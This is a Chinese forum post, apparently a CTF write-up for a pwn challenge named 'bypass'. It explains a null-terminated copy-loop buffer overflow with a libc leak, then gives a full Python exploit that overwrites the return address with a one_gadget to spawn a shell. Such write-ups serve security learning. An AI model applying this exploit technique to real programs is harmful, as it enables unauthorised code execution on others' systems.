吾爱破解 - 52pojie.cn

 找回密码
 注册[Register]

QQ登录

只需一步,快速开始

查看: 180|回复: 0
上一主题 下一主题
收起左侧

[CTF] 2024春秋杯冬季赛第一天pwn方向bypass

[复制链接]
跳转到指定楼层
楼主
ajguthahbzzb 发表于 2025-3-14 23:36 回帖奖励
本帖最后由 ajguthahbzzb 于 2025-3-15 20:46 编辑

0x0 前言
这是一道缓冲区溢出的经典题目。程序由于没有正确设置缓冲区复制循环的终止条件导致可以覆盖返回地址。

0x1 程序逻辑分析
程序首先从文件中读取.BYPASS文件中的用户名和密码,然后让用户输入一个整型,如果整型为0则进入有漏洞的函数(vuln),如果为1则直接退出,其他情况下会输出Invalid,并且泄漏libc地址。

vuln函数内部的逻辑是先读入KEY,然后再读入VAL。由于从用户输入缓冲区到用户名和密码的缓冲区复制的终止条件是判断字符是否是'\0',所以当输入缓冲区填满的时候就会溢出并一直复制下去,从而覆盖返回地址。

注意,由于索引i在缓冲区下面,为了让返回地址被成功覆盖,i的值也要精心设计。我并没有经过计算,而是经过调试不断尝试覆盖i的值,然后在调试器中计算返回地址的偏移。调试过程中由于循环次数较多,如果一步一步执行将非常耗时,所以在pwndbg调试中要善用ignore指令跳过无用步骤到达复制的关键地址。
由于有0截断,所以将返回地址设置为one gadget。

0x2 完整exp
[Python] 纯文本查看 复制代码
01
02
03
04
05
06
07
08
09
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
from pwncli import *
 
elf = ELF("./pwn")
io = gift.io = process(elf.path)
# io = gift.io = remote("47.93.11.51", 32883)
libc = elf.libc
context(log_level="debug", arch="amd64", terminal=["tmux", "sp", "-h"])
 
 
s(p32(2))
 
ru(b"Invalid\n")
libc.address = u64(r(6).ljust(8, b"\0")) - libc.sym.puts
success(f"{libc.address = :x}")
 
s(p32(0))
 
sleep(0.5)
 
'''
0x4f29e execve("/bin/sh", rsp+0x40, environ)
constraints:
  address rsp+0x50 is writable
  rsp & 0xf == 0
  rcx == NULL || {rcx, "-c", r12, NULL} is a valid argv
 
0x4f2a5 execve("/bin/sh", rsp+0x40, environ)
constraints:
  address rsp+0x50 is writable
  rsp & 0xf == 0
  rcx == NULL || {rcx, rax, r12, NULL} is a valid argv
 
0x4f302 execve("/bin/sh", rsp+0x40, environ)
constraints:
  [rsp+0x40] == NULL || {[rsp+0x40], [rsp+0x48], [rsp+0x50], [rsp+0x58], ...} is a valid argv
 
0x10a2fc execve("/bin/sh", rsp+0x70, environ)
constraints:
  [rsp+0x70] == NULL || {[rsp+0x70], [rsp+0x78], [rsp+0x80], [rsp+0x88], ...} is a valid argv
'''
 
payload = b"KEY: " + b"\x1c" * 29 + p64(libc.address + 0x4f302) + b"\n"
s(payload)
sleep(1)
 
 
payload = b"VAL: " + b"a" * (0x200 - 5)
s(payload)
 
ia()

bypass.zip

841.12 KB, 下载次数: 0, 下载积分: 吾爱币 -1 CB

官网下载的附件

pwn.ida.rar

28.91 KB, 下载次数: 0, 下载积分: 吾爱币 -1 CB

ida9.0带符号文件

发帖前要善用论坛搜索功能,那里可能会有你要找的答案或者已经有人发布过相同内容了,请勿重复发帖。

您需要登录后才可以回帖 登录 | 注册[Register]

本版积分规则

返回列表

RSS订阅|小黑屋|处罚记录|联系我们|吾爱破解 - LCG - LSG ( 京ICP备16042023号 | 京公网安备 11010502030087号 )

GMT+8, 2025-3-17 08:41

Powered by Discuz!

Copyright © 2001-2020, Tencent Cloud.

快速回复 返回顶部 返回列表